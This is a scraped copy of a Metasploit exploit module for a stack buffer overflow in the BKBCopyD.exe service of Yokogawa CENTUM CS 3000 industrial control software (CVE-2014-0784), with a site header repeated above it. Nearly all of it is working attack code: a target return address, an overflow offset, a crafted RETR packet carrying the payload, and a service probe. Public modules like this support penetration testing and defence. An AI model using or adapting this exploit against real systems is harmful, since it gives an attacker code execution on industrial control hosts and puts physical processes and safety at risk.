Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability15exists in the service BKBCopyD.exe when handling specially crafted packets. This module has16been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.17},18'Author' =>19[20'juan vazquez',21'Redsadic <julian.vilas[at]gmail.com>'22],23'References' =>24[25[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],26[ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],27[ 'CVE', '2014-0784']28],29'Payload' =>30{31'Space' => 373, # 500 for the full RETR argument32'DisableNops' => true,33'BadChars' => "\x00\x0d\x0a\xff",34'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory35},36'DefaultOptions' =>37{38'EXITFUNC' => 'thread',39},40'Platform' => 'win',41'Targets' =>42[43[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',44{45'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]46'Offset' => 12347}48],49],50'DisclosureDate' => '2014-03-10',51'DefaultTarget' => 0))5253register_options(54[55Opt::RPORT(20111)56])57end5859def check60pkt = build_probe61res = send_pkt(pkt)62if valid_response?(res)63return Exploit::CheckCode::Detected64end6566Exploit::CheckCode::Safe67end686970def exploit71data = "RETR "72data << rand_text(target['Offset'])73data << [target.ret].pack("V")74data << payload.encoded75data << "\n"7677print_status("Trying target #{target.name}, sending #{data.length} bytes...")78connect79sock.put(data)80disconnect81end8283def build_probe84"#{rand_text_alpha(10)}\n"85end8687def send_pkt(data)88connect89sock.put(data)90data = sock.get_once91disconnect9293return data94end9596def valid_response?(data)97return false unless !!data98return false unless data =~ /500 'yyparse error': command not understood/99return true100end101end102103104105